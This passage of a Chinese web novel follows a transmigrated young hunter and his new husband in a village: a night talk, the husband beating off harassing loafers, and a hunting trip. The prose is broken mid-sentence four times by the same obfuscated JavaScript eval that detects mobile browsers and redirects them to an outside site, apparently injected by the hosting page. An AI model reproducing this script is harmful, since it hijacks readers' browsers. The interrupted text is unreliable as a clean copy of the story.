“我们去医馆查过了,大夫说他就是脚腕伤着了,好生养一段时间就好。”燕程春说,“他现在普通走路没什么问题,但不能多劳累。” “是这样。”姜幸点点头。 村长想了许多,最后摸着胡须说:“幸哥儿,不管你是因为什么原因来到长明村,既然你已经嫁来长明村,做了春小子的夫郎,那就是我们长明村的人,村子和镇上距离不小,那边的人未必会再花心思来磋磨你,日后你就放心跟着春小子过日子。” “若是有人起了坏心思,咱们长明村虽然只是一个乡下村子,可村子里的农户足有百十来人,定有办法的。” 村长并非说笑,一村就是一个大家族,一个村子里的人总是齐心的,他当年既然敢接纳南下的流民,就证明了他对村子的领导力。 “多谢村长。”姜幸没想到相识不过几天的村长和乔孺人会这么接纳自己,他说着就要跪下,乔孺人连忙拦住他。 乔孺人笑道:“幸哥儿,有些话你听了别生气,咱们认识时间还不长,我们这么说其实也是因为你是春小子的夫郎。春小子就是我们看着长大的,他好不容易主动娶了夫郎,我们做长辈的,也不想拆散一对好鸳鸯,只 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15588604|171615||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是日子怎么样,还得你们两个自己去斟酌。” “我懂得。”姜幸明白乔孺人的意思,他和长明村还是‘陌生人’关系,亲疏有别,这很正常。 燕程春揽过姜幸,握住他的肩膀,安慰道:“村长方才说让你参加今年的立夏流水宴,帮着村里的长辈们做席面,慢慢地就熟悉起来了。” “我?”姜幸以为自己幻听了,他指了指自己,“我?是我吗?真的是我?” 虽然他并不知晓这个立夏流水宴是什么,但一听就知道一定是村子里的大事。 现在这等大事,要让他去参加,还要做席面? 这真不是开玩笑么? “……”燕程春慢慢移开视线,不敢对视。 村长和乔孺人离开后,姜幸还沉浸在自己要为长明村做吃食这等惊天大事之上。 他晕晕乎乎地洗漱,晕晕乎乎地拆解头发,又晕晕乎乎地被燕程春塞到被窝里。 燕程春和姜幸依然是分了两个被窝,不过这两个小被窝现在靠得极近,两个人翻个身便能面贴面。 燕程春也不知道做这种‘脱了裤子放屁’的事情有什么意义,但……总归还是有一道防线比较好。 燕程春摸摸鼻子,洗漱完也钻了进去。 温热夏夜,因着他们村靠近河流,又有无数参天树木遮阴,所以没有现代社会那么燥热,燕程春穿着寝衣还能再盖一层薄被。 今天走了许久,燕程春一躺下便萌生了睡意,微弱无力的眼皮刚要合上,就被旁边的姜幸摇醒。 “郎君,我不会做菜呀!” 姜幸终于反应过来自己要做什么了,他仿佛看到自己在一众长辈面前因为不会做菜而出丑,遂被批评,被厌恶,然后被赶出长明村的场景。 他急道,“村长误会了,我倒时候能做什么啊!” 燕程春两手放在脑后枕着,微眯着眼睛,“没事,你就去洗洗菜,端端盘子,主要是和那些婶婶嬢嬢熟悉一下,日后你还要和她们相处呢。” 姜幸:“可是……万一真让我上灶台该怎么办。” 姜幸支起一只胳膊,撑着脑袋,一头青丝从肩膀缓缓滑落,掉在燕程春左肩,燕程春不自在地移开视线,嘟囔道,“……要不然,我教你做今天的奶汤蒲菜?万一让你上手,你就炖汤去,这个也简单。” “郎君的手艺比我好太多了,为何不直接自己去呢?”姜幸不解,“在镇子上做个厨子应当比上山打猎要安全,而且赚的银子也多。” 燕程春转过头,惊讶道:“哇塞,这就开始嫌我赚银子少了啊!” “我没有这个意思!”姜幸急得连忙坐起来解释,“只是,只是,打猎很容易受伤……” 他知道能做猎户的人,手艺都不小,可进到山里,那面对的都是野兽,稍有不慎就会受伤的,他只是担心燕程春也会受伤罢了。 “逗你玩呢。”燕程春开了个玩笑,心情颇好,“躺下呗,我开玩笑呢,况且即便你真的嫌我挣银子少那也没事,反正你已经嫁进来了,跑不了咯。” 燕程春幻想了一个穿着破旧衣衫的小可怜,那小可怜顶着姜幸这张明媚的脸,把自己逗得眉开眼笑,嘎嘎直乐。 11.夫夫夜话 “郎君你真是……坏极了。”姜幸发现自己被耍弄了,气得要死,咬住下唇把杯子蒙到头上,在被中瓮声瓮气地吼道,“我睡了!” “哎。”燕程春掀开姜幸的被角,在外面和他继续聊天,“我说真的,明天我要进山去,等我回来就教你做奶汤蒲菜。” 现在距离那个所谓的流水宴还有一个月的时间,足够了。 “上山……郎君注意安全。”姜幸还是觉得做猎户太危险了,可如果燕程春喜欢,那他也不好多说什么。 燕程春用掌心轻轻拍了姜幸额头一下,道:“其实我也不想做猎户了,打猎能赚多少钱全看天意,以前我一人吃饱全家不饿倒是不担心,如今娶了你,总不能还继续那样不稳定。” 燕程春的手没挪开,姜幸感受着额头上的温热手掌,脸色泛红,“郎君,那你想做什么?” “没想好。那你支持我不?”燕程春低头笑。 姜幸抬眸看,“郎君要做什么,我都支持,只要郎君带着我就好。” 姜幸的眼睛乌黑明亮,被烛火的光影覆盖,带着独特的颜色,有些像燕程春记忆中的,溪水里倒映过来的星星,波光粼粼。 燕程春有些看痴了这双眼睛,想要去描绘如此迷人的眼睛,却又想起他和姜幸目前的关系,慌乱地收回手。 燕程春:“姜幸,幸哥儿……你先前可有喜欢的人?” 姜幸看到燕程春伸过来的手,他僵硬着身子,期待又不安,不知道燕程春要做什么。 可等了一会,只等到燕程春收回去的手,和躲避的眼神。 姜幸侧开容颜,轻声道,“郎君,怎么这么问。” “没什么,只是好奇,像你这般条件的哥儿,即便年纪大了一些,应该也不难找一家好夫婿吧。”燕程春随口打探,仿佛真的只是好奇。 “可我什么都不会啊。”姜幸抿唇,“虽然爹娘有本事,能开酒楼,可我从小便骄纵任性,仗着爹娘只有我一个孩子,整日整日贪玩,以至于现在不上不下的。去商户家里,人家需要的是能管家,能出谋划策的正君,去找农户,人家又要身体好,能干活,能吃苦的贤内助……” 说到后面,姜幸有些尴尬,因为燕程春更是农户中的猎户,他需要的也是一个能帮衬他的夫郎,而不是自己这种拖后腿的。 “所以你一直没有喜欢的人咯?”燕程春悄悄打了个哈欠。 “喜欢的人……如何才算呢?”姜幸趴在枕头上,对着燕程春眨眼,“不满郎君,从前我虽然调皮捣蛋,却也没见过太多外男。不好找夫家是一回事,名声坏了……那就是另一回事了。” 燕程春点点头,瞬间理解了姜幸的意思,“原来如此,我晓得了。” 这也是他愿意留下姜幸的原因,在这个朝代,姜幸若是和离回家,还不知道要遭受多少非议,他一个现代人,做不出这等糟践人的事情来。 “待明日我上山去看看有没有新鲜的野菜和活物。”燕程春想着今日灶台的情况,“家里采买的蔬菜有些都焉了,肉和鸡蛋也消耗了一些……” 燕程春计算着家里需要补给的东西,又问姜幸,“你今日收拾了屋子,可觉得哪里有需要改善的地方?” “我,我吗?”姜幸指指自己,像是听到了一个笑话,歪着头笑了,“郎君,这是你的家啊,怎么来问我呢。” “咋,你不住这儿吗?”姜幸这个小没良心的,燕程春伸出手作势要打他,“你身上还盖着我的被子呢!这就翻脸不认人了!” “我不是那个意思……”姜幸发现燕程春又误会了,解释道,“郎君是一家之主,屋子与田地都是郎君的,怎么整改自然是郎君说了算。郎君无需过问我的意见。” “可是你也在住啊。”燕程春作为一个刚满18岁的现代人,心里是真没有那些弯弯绕绕,也看不上大昭的这些苛刻规矩,既然大家都住在一起,自然要互相磨合,互相迁就。 燕程春烦躁地摆摆手,“别的人怎么样我管不到,但是在咱们家,你住的舒心不舒心,与我的意见一样重要。日后别再说这样生分的话了,我不喜欢。” “郎君……”姜幸从没想过,原来燕程春是这个意思。 自己住得舒不舒心……对郎君而言,很重要吗? 姜幸对上燕程春困倦却清亮的眼睛,读出了肯定的意思——是的,燕程春觉得很重要。 姜幸突然捂着嘴笑了一声。 燕程春:“你怎么了?” “没什么,突然想到娘之前和我说的话了。”姜幸的下巴垫在手背上,眉眼弯弯,“娘说,姑娘小哥儿这辈子最重要的事情,便是找个好郎君,若是能做好人家的正头娘子,那这辈子就算可以了,老了也能体体面面地住到祖坟里,不至于做没人要的孤魂野鬼。” “……”燕程春皱眉,他实在接受不了这等思想,在他的成长过程中,接触的都是独立大方的女同学女老师,没有一个人会把‘嫁人’当成一辈子最重要的事情。 姜幸却觉得他娘说的对,“我以前不理解,娘为什么把这件事看得这样重要,现在……” 他终于明白了,原来小哥儿嫁给一个好汉子,真的可以很快乐。 姜幸虽然过去过得十分自由,但他到底是个受过正统教育的小哥儿。 他记得,也明了,小哥儿的天就是日后要嫁的相公,若是嫁错了人,那这辈子就算毁了。 所以他才惶惶不敢轻易嫁人,因为他很害怕。 只是没想到躲来躲去,竟被姜大伯草草嫁人,即使已经过去揭盖头的时间,可每每想到当时的情境,姜幸心里都怦怦跳。 他无法形容自己穿着红嫁衣,看到一个陌生人时的惊慌与无助,就好像重新遭遇了一回儿时溺水的感觉,像被人扼住了喉咙。 幸好,幸好…… 他的小郎君虽然年纪小,却是个好人。 姜幸已经想好,这辈子,只要没有什么意外,他会跟着燕程春好好过一辈子。 姜幸一想到这个结果,就忍不住捂嘴笑,那笑,是嘲笑,也是快乐的笑。 燕程春闹不明白小哥儿在自娱自乐什么,他吹灭烛火,“不早了,休息吧,明天我还得上山呢。” 姜幸点头:“好。” 夏天的天,婴儿的脸,说变就变,后半夜的时候整个长明村被朦胧雨幕覆盖。 雨水打在窗柩上,留下道道水痕。 燕程春睡得浅,醒来关了一下窗户,姜幸原本抱着燕程春,怀里的温热身体突然没了,他迷迷糊糊地睁眼,声音也迷迷糊糊,“郎君……怎么了……” 说着,姜幸还往被窝里缩了一下,许是被夜里的雨水凉着了。 “没事儿,外面下雨了。”燕程春关好窗户躺了回去,姜幸又迷迷糊糊地伸出胳膊抱人。 “……”燕程春睡着的时候不知道这种事,被抱了也就由着他抱了,可这会儿他醒着。 燕程春挪开姜幸的胳膊,把人的胳膊塞到自己的被窝中,缓缓闭上眼。 早上,燕程春又被原主的良好作息叫醒,伴随着鸡打鸣的声音 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15594632|171615||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,他穿好衣服,去院子里锻炼。 雨后的长明村带着一股泥土的味道,或许是因为下了雨的缘故,家家户户都醒的比较早,这会儿都出来了,他们瞧见燕程春在锻炼,连忙回屋把自家还在睡大觉的儿子叫起来。 “快起来,人家春小子都起床准备上山了,你还在睡?!” “你再不起床打猎队就不要你了!” “……” 曾经跟着燕程春上山的人无一例外,都捂着屁股悲苦地从床上爬起来。 燕程春洗完脸,就想去灶房做饭,结果刚一转头就看到灶房里已经有一个蹲在地上的身影。 姜幸吸取了自己睡懒觉的经验,今天早早的醒过来,前后脚跟着燕程春起床,既然燕程春在打拳,那他就去做早食,这样燕程春锻炼完就可以直接吃饭了。 姜幸已经在摘菜了,燕程春也不好抢工,就和他一块蹲下,“你知道早食怎么做?” “虽然我不会做别的,但做粥还是可以的。”姜幸对自己很有信心。 既然姜幸都这么说了,燕程春拍拍他的肩膀,为他加油鼓劲,自己则去院中,把水桶接满。 原主的身材和能量非常顶,燕程春捞着一大桶水都不觉得累,只出了一点汗,他放下水桶就听到一声脆生生的“燕哥。” 篱笆院门外站着一个已经穿好劲装,绑腿绑腕的少女。 少女看着和燕程春现在同龄,她绑着两个羊角小辫,手里还捏着一把大弓,饱经风霜的大弓在少女的手里仿若一个玩具,看着毫无重量。 不过燕程春知道,这是少女自己的武器,也只有她能这么轻松地拎着,并用它直接射杀百吨猎物。 “今天这么早。”燕程春打开院门,放少女进来。 少女把弓放在一旁,顺手帮燕程春打水,“我娘说下了一夜的雨,山上的畜生和野菜可能都冒头了,让我们早点上山。” “知道了,我吃个早食。姜……你嫂子都快做好了。”燕程春填满水桶,和少女一块拎到灶房。 姜幸还在煮粥,一抬头便看到自家郎君和一个妙龄少女一块进来,两个人还有说有笑的。 少女不说长得美如天仙,但一张巴掌大的小脸,满是年轻人的活力,那副恬静开心的模样,姜幸自己看了都觉得讨喜。 一瞬间,姜幸不知道该说什么好,自己已经嫁人,锅里还煨着粥,他放下勺子,想接过燕程春手里的水桶,可他也拎不动。 刚接过来就要摔,还是少女扶了一把,才没让他出丑,浪费燕程春的辛劳。 “嫂子,还是我和燕哥来吧。”少女冷静地说,“嫂子,俺……我叫林巧英。” “巧英是村长家的二女儿,上面还有个哥哥,在镇子上做工。”燕程春帮忙介绍,“巧英从小就和我一块上山打猎。” 在原主的记忆中,有几次他没上山,都是巧英带着村子里的队伍去打猎的。 燕程春觉得,若是原主日后不再上山,那整个村子里,能接下他位置的也就是这个林巧英了。 姜幸听了燕程春的话,将自己的体格和眼前这个灵动活泼的少女作比对,难以置信,“这么厉害?” 如她这般年纪的小姑娘,应当已经被拘在家中学女红河相看人家了。 “嫂子真漂亮。”林巧英说的真心实意,“和燕哥很……相配。” 说到相配二字,林巧英看到燕程春脖子上的红痕,不自然地移开视线。 燕程春恍然不觉,姜幸没错漏小女孩的心思,心中晦涩难言。 12.哪来的地痞流氓 锅上的粥开始沸腾,姜幸多盛了一碗,给了林巧英。 林巧英虽然已经吃过饭了,但她还是喝了,给足姜幸面子。 三人吃过饭,因为两人都要上山,姜幸便自告奋勇接过了善后的工作。 姜幸送二人到院门口,就看到几个年轻汉子正扒着他家的院门往里看。 林巧英一眼就认出来这几个人,立刻上前呵斥:“王大,你们做什么,往人家院里看羞不羞!” 燕程春的院子里现在可有一个新婚夫郎在呢,这帮懒汉一直往里瞅也不嫌害臊! 长明村虽然是乡下村子,但因为地势好,有山有水的,所以每年收成都不错,这村子里的人的生活也就比旁的村子要好一些。 在长明村,有手有脚,肯干活的,那就饿不死。 但是,每个村子也避免不了有一些赖子,那也没啥办法,村长总不能把人家赶走,只能每天提醒着点,不让他们出去闹事惹祸。 长明村也有几个游手好闲的懒汉,就是现在在门口扒院门的王大等人。 这些都是村中懒汉,整日招猫逗狗,说几遍都不听,村长和乔孺人只能拜托各家各户的长辈多照看着些,免得他们惹事。 林巧英就看不上这些有手有脚却不爱劳作的人,把自己日子过的一塌糊涂还要招惹别人,嫌别人没钱没本事,也不撒泡尿照照镜子! 被林巧英训斥了的人抹一抹鼻子,丝毫不觉得丢人,“村里娶了新媳妇,我们这不是过来看看新夫郎吗?成亲那日盖着盖头,我们也没见过真人啊!” 几个流氓说着说着竟然开始肆意讨论姜幸。 “听说人家是镇子上来的小哥儿,怎么样,是不是长得细皮嫩肉,特别带劲。” “你当和咱们村子里的哥儿姑娘一样粗糙得像母老虎吗?哈哈哈哈哈哈!” 说完姜幸,他们又说到燕程春身上。 “这春小子才十五就娶上如花似玉的夫郎了,也不知道那地方能不能用啊哈哈哈!” “听说他那夫郎二十有五了,可猛着呢,怕是会嫌弃春小子小吧——” “新夫郎,若是觉得寂寞了,可得来找哥哥们啊!我们可是你夫君的好哥哥呐哈哈哈——” 几个人说的兴起,越来越过分。 燕程春听着,眉心逐渐皱起。 姜幸就在后面站着,一想到姜幸会听到这些污言秽语,燕程春心中的不爽愈来愈大。 林巧英知道燕程春向来沉默居多,便想自己把那些人呵走。 他们俩谁都没想到,身后的姜幸直接冷下脸,拾起手边的大扫帚就狠狠拍在其中一人身上。 姜幸虽然平时在家里娇养着,可他毕竟二十五岁,身高腿长,又刚吃饱饭,手上的大扫帚长且大,只消几下就将一帮混不吝打得嗷嗷叫。 那些人躺在地上,有的捂着腿,有的捂着腰,还有两个捂着头,吱哇乱叫,好不凄惨。 “哪来的蛮哥儿,你敢!” “燕程春你!你就这样看着你夫郎打哥哥们?!娶了媳妇长本事了是吧?!” “从前怎么没看出来你是这样一个黑心的性格!” “少说郎……我夫君。”姜幸倚着大扫帚,垂下眼睫,注视着他们中领头的那个人,“我夫君年纪小,尊你们一声哥哥和长辈,便让你们长了脾气,肆意侮辱我夫君,想得倒美!” “我呸,一个个个下三滥的玩意,真当我夫君是好欺负的吗?” 姜幸以一种‘一夫当关万夫莫开’的气势站在燕程春面前,绝不让这帮地痞流氓再侮辱他的小郎君。 “以前我夫君念着你们的身份,不好意思与你们动粗,可现在不成了!我绝不让你们再这样欺辱了我夫君去!” 姜幸作为哥儿,多多少少都受过镇子上的混不吝的欺辱,最早他还会面红耳赤,倍感侮辱,后来经历得多了,他也能开口骂两句,声音大一点,惹来周遭的人,大家便会帮着他,将那些人赶走。 姜幸勇敢站在最前面,林巧英目睹这一切,心中滋味复杂。 林巧英的长兄在镇子上工作,平时遇到事情都要自己撑起来,这还是第一次被‘嫂子’护在身后。 燕程春注意到,姜幸的右手腕在微微颤抖,他上前一步,不动声色地握住姜幸的手,对那些人说:“从前我忍让,都让你们忘了我是如何在山上打猎的了。” 说罢,燕程春踩上最早出言不逊的那个人的小腿,只听得咔嚓一声,那人便捂着小腿哀嚎,“燕程春,燕程春!我的腿,我的腿!” “嚎叫什么又没断。”燕程春第一次冷漠至极,“躺一两天就好了。让你记着这份痛,别再来招惹别人。” “燕哥。”林巧英愣了,她从未见过这样发火的燕程春。 从前的燕哥因为过往经历的问题总是沉闷着,不说话,那些汉子常常来找他麻烦,他也置之不理,只沉默着过好自己的小日子。 她以为她的燕哥这辈子就要这么孤独寂寞过下去了,没想到他竟然会娶妻,更没想到他还为了新婚夫郎出头…… 姜幸从没这样伤过别人,有些担心,“郎君,你这样会不会被他们找麻烦?” “无碍。” 燕程春虽然灵魂只有十八岁,可他看的门清,原主记忆中,村长就不太待见这帮人。 现在村长忙着李员外的寿宴,村子里其他人又在筹备立夏的流水席,所有人都忙得脚不沾地。 对于这种搅屎棍,村长也想把这些人震慑一番,好让他们安静一些。 他们或许正好帮了村长一个忙呢。 “郎君威武。”姜幸第一次见到燕程春生气,竟然也不害怕,就躲在他身边恭维他的小夫君。 那副伏低做小的姿态逗得燕程春忍俊不禁。 姜幸心里甜呀,他娘说的果然没错,哥儿嫁对了汉子,这日子美着呢,他也能体验一回被自家汉子保护的滋味了。 林巧英看在眼里,又沉默了。 村长随后赶过来,身后还带着这几个汉子的家里人。 他们先是对燕程春和姜幸做了保证,保证这几个人绝不会再来做混事,然后村长又让几家人做承诺,承诺绝对管好自家不成器的,不让他们再惹是生非。 几家虽然生气自己家孩子被打,可他们没理,只能灰头土脸地道歉,然后带着那些懒汉回家。 估计少不了一顿收拾。 经此一事,燕程春有些担心姜幸自己一个人在家安不安全。 村长看出来了,说:“放心吧春小子,你隔壁的刘婶婶会帮你照看着些的。” 正巧,上次在牛车上见过的刘婶婶抱着盆从屋里走出来,看到这么多人都站着,仰头大笑,“哟,村长来啦,你们都杵在这儿开大会呐?!” 村长狠狠啐了一口,“往常他们吹吹口哨便算了,这次忒过分了一些。” 人家幸哥儿刚嫁来长明村就被这些人调戏,这名声要是传出去了,以后还有谁会嫁来长明村? 这帮没长脑子的,这是要败坏他们长明村的名声啊! “村长,我没事。”姜幸握着燕程春的手,“郎君还是上山去吧,村子里的事情比较重要。” 他刚被燕程春英雄救美,心里 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15600814|171615||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 腻歪着,也想让燕程春留下来陪陪他。 可他也记着燕程春此次上山是为了李员外的寿宴,这是村子交代燕程春的事情,他还要在长明村长长久久地住下去,不能给村长留下不好的印象。 “你确定?要是实在不宁心,就在家睡觉吧。”燕程春安慰姜幸,“反正家里也不需要你忙什么。” 姜幸点头,推着燕程春往外走,“快去吧快去吧,别叫别人等急了。” 方才他就看到门口聚集了不少年轻的汉子和哥儿姑娘,手上都带着上山要用的东西,想必都是来等燕程春和林巧燕的,他已经耽误不少时间了。 长明村既靠山又靠河,村子里有不少人高马大的汉子便经常上山,运气好捡到一些被野兽遗忘的猎物,运气不好也能割点野菜回家。 他们村子虽然地势好,但村中并无会打猎的人,直到十年前,燕程春等外来流民落户长明村,大家这才发现这帮流民里还有一个军户的小孩,并且这小孩还从小练武,能干得很。 从那以后,燕程春便带着一些叔叔伯伯和小孩在村子里练拳脚,再长大一些,便自己做了一把弓箭。 起先是和大人一块上山,后来又捎上了年纪小的,到最后就只让年轻的汉子跟着。 他们不往深山里去,只在外围转一转,一个月去一次,一次七天,能得不少东西。 原主或许是受了爹爹的影响,颇有一些领导力,虽然他沉默寡言,却很能带领别人,而且总能用自己的经验和胆大心细化险为夷。 有他在,长明村才多了打猎这一个进项,还能比别的村子多一些吃食口味。 燕程春带着村子里的年轻人顺着山脚一点一点扫荡,遇到野菜就割走,遇到菌类也摘走。 他们此次上山是为了李员外的寿宴,所以大家一边采摘一边讨论其他见过的寿宴。 “我原先在镇子上蹭过一顿杂货铺老板嫁女儿的喜宴,那滋味,啧啧,虽然我只捞到一块肉尝尝味儿,但至今忘不了。” “啥滋味啊?” “还能是啥滋味啊,都是银子的味道呗!” 大家年纪相仿,又都是一起长大的,穿着粗布麻衣,精气神十足,哈哈大笑,追打着往前走。 “也不知道李员外这次要怎么办,感觉不会小了哦。” “听说李员外家的银子能堆满一个仓库,老娘六十岁大寿,肯定要大办,到时候咱们再去蹭一口。” “人家能让咱们进吗?” “李员外家的脾气好,准能行。” 燕程春一只耳朵听着,关于这个李员外,他在原主的回忆中也见过。 李员外是个富裕的员外,听说往上倒三辈也是农户起家,但是到李员外这一辈,家里供他读书,他读了书以后去经商,挣下不少家底,于是就在聚仙镇住了下来,还在长明村买了不少田地,给家里老娘一个清净的修养之地。 虽然不知道真假,但是从记忆中来看,这个李员外因为读过书,所以并不是话本中那等克扣农户的贼人,反倒赏罚分明,按规矩办事。 在李家手下租田的人都和李家关系不错,这次寿宴想必李家会有‘八方来客’的景象。 燕程春上辈子就知道人脉的重要性,现在觉得这是一个良好的结善缘的机会。 原主是猎户,家中并无农田,这就导致他们平白比其他人少了一份进项,燕程春觉得这样不行。 对于庄稼户来说,田就是命根子,更何况,要是有田的话,还可以自己种点蔬菜瓜。 若是能在李家留下一个好印象,说不准就能租上他家的田。 13.不做猎户了 燕程春和长明村的青年人走了两个多时辰,已到午时,找了一处安静的地方修整吃饭。 他们背上的背篓已经被各种野菜装得满满当当,不过这一路上还未遇见可以带回村子里的野物,有些可惜。 大家都是长身体的年纪,也不讲究,吃完饭就地一躺,盖着阳光便休息。 林巧英和其他哥儿姑娘坐了一会,又坐到燕程春身边,看着好像有话要和燕程春说。 原主的基本功实在扎实,肌肉记忆已经刻在脑海中,燕程春一摸到弓箭就知道怎么使用,现在正熟悉这些技巧。 林巧英看了一会,说:“燕哥,你以后还会上山吗?” “怎么这么问?”燕程春看了她一眼。 “你成亲了啊。”林巧英抱着膝盖蹲在地上,十五岁的少女用手指划拉着地面的土,画了个圈圈,“娘说你以后未必会再带我们上山了,你要在家照顾夫郎,以后还要照顾你们的孩子。上山太危险,不是成了亲的汉子该做的事情。” 林巧英不知道自己听到这番话的时候是什么心情。 她只有些难过,从她记事起,就跟在燕程春后面一起挥拳脚,打猎,可是怎么眨眼间,她的燕哥就成亲了。 “上山确实危险。其实不管成没成亲,都不应该以此为生。” 燕程春放下手里的弓箭,长叹,大昭不像现代,各种救援方式便捷快速。 这年头上山若是遇险了,能不能遇到行人都不一定,好些猎户都是悄无声息死在大山里头的。 所以村长一再叮嘱他们,只能在前山和山脚转转,不可以随意去深山里。 也就原主有时候独自上山,骗村长是去捡菌子,实际上仗着艺高人胆大,去深山里走一圈,赚点卖命钱。 村长后来知道了,阻止不了,只能安慰自己:“等春小子成亲了就好了……成亲了就知道命有多重要了……” 林巧英直到燕程春说的有道理。 “可是种田的银子太少了。”林巧英也是从小进山的丫头,自然知道进山打猎的危险,可他们这种农户,除了种田,也就这一条路可以走了,若不是为了讨生活,谁会做猎户呢。 “明年开春,爹娘想让弟弟去书院读书,家里还需要银子呢。”林巧英想到家里的弟弟,叹气。 燕程春缄默。 林巧英家有三个孩子,大儿子考了一个童生功名就没再考,去镇上找了份工作,每个月往家里寄点银子。 老三也是个儿子,五六岁的年纪,村长家正琢磨着要把小儿子送去书院。 只有林巧英这个二女儿,从未接触过读书识字,年纪轻轻就和燕程春一块去山里打猎,补贴家用。 但村长和乔孺人也是从小一直教导家里的弟弟要尊重爱护自己的姐姐。 林巧英现在这个年纪下,两口子也一直不愿意随意把林巧英嫁人,更是考虑过将田地分给林巧英,给她找个上门女婿,好让林巧英一直在家里,让他们二老照拂着,只是被林巧英拒绝了。 林巧英认为,父母在不分家,而且男大当婚女大当嫁,她现在还小,等她大了,自然会嫁出去,现在想这些太不孝了。 林巧英家的事,燕程春想了许多,但他管不了。 他现在只觉得,自己虽然继承了原主的本事,但到底不会打猎,也没有原主的危机意识。 一次两次还行,要是以此为生,估计他迟早会英年早逝。 “我以后不会经常进山了。”燕程春坦白,“我以后会找个更稳当的活计,我要照顾家里。” 所以他才想找李员外租农田,这样起码有一个保底的保障。 “娘说的果然没错。”林巧英早就做好了心理准备,所以并没有觉得惊讶。 她扔掉手里的土块,“娘说了,这人一旦成亲就会变成大人,变成顶天立地的汉子,燕哥,你现在好像长大了似的。” “不过。”林巧英突然严肃地看着燕程春,“你不能随便欺负幸哥儿啊。” “我哪有啊。”燕程春惊讶。 林巧英用手比划,“我分明看到幸哥儿脖子上有红痕,燕哥,你不能仗着你是汉子就打家里的媳妇啊。我听说上游村有个老汉就爱打媳妇,最后媳妇被他打跑了,也没人敢再跟他,他可后悔了。” “……那不是打。”燕程春无奈,“幸哥儿皮肤比较嫩,那是被家里的被褥磨的。” “咦。”林巧英下意识摸摸自己的脖子,只摸到一片粗糙的皮肤,她沉默了,“那咋办啊,我听说幸哥儿是镇上来的,娇贵着呢。” “……”燕程春也捏了捏额头,原本他是打算从镇子上捎一床被褥回来的,可姜幸非说他的嫁妆里有,现在回了家,嫁妆里并没有,要想买被褥,还得再去镇上才行。 “诶,娘现在正在给隔壁村的新嫁娘缝被子,还余下一些布料,要不让娘做一床?”林巧英道。 林巧英的娘是省府颁的乔孺人,名声和地位不同耳语,许多新嫁娘能和她沾的上边的,都会来找她讨要一床压床被。 有乔孺人的压床被,夫家也会多几分敬重。 虽然这点敬重对于大户人家来说不算什么,可对于他们这些村子里的人来说,乔孺人的名声和地位足够震慑别人了。 就这样,乔孺人时不时就要为新嫁娘们缝制被褥。 若是有多余的银线和布料,就会做成小被子,给各村刚出生的小孩做包被。 燕程春想到家里还有一堆上好的布料,不过那是姜幸的嫁妆,他不好乱动,只能说,“巧英,能否让乔孺人帮忙缝制一床?大小……就普通汉子能盖住脚那样就行。银子的话,就照常收就行。” “没问题啊。”林巧英答应地爽快。 下午的时候他们的运气来了,遇到了不少山鸡和野兔。 在外围只能打到这些,要想有真正的野味,那得走到山里才行。 燕程春看着雾气迷障的深山,觉得如非必要,还是不要轻易进去了。 不过。 燕程春转头,看向另一边的小山头,那块是李员外家的山头,李员外虽然买下了它但是一直没有打理,就这么放着,任由山头绿草覆盖,树木茂密。 长明村平时打猎是不去这块山头的,因为那是李员外家的地方,没有李员外允许,他们不能随便进入,所以原主也不知道里面有什么。 燕程春今天知道了打猎的乐趣,还挺想进去看看的,不过目前来看是没机会了。 村长得知他们平平安安回来后,长舒一口气。 “这次李员外的寿宴会来很多人,咱们一个乡下小村子不能抢风头,平平安安,普普通通 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15604910|171615||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 地参加完,给李员外留个好印象即可。” 村长年纪大了,现在觉得平安就是福,他不求太出彩,只求无过错。 若是以往,参与打猎的年轻人都能分到一些野味的肉带回家去,可这次是为了给李员外添彩,所以从山上带来的东西全部充了公。 燕程春和林巧英一块回到小院的时候,姜幸正在院子里坐着,和一旁的刘婶婶一块缝制什么东西。 林巧英跟来,是想问问姜幸喜欢什么厚度,什么花样的被子。 谁知看到燕程春回来,姜幸忙不迭举起手里的布料,他没有多关注林巧英,只一味兴奋地对燕程春炫耀,“郎君,我今天跟着刘婶婶缝了一床小被子,我可以盖到胸口,这样就可以垫在被子下面。” 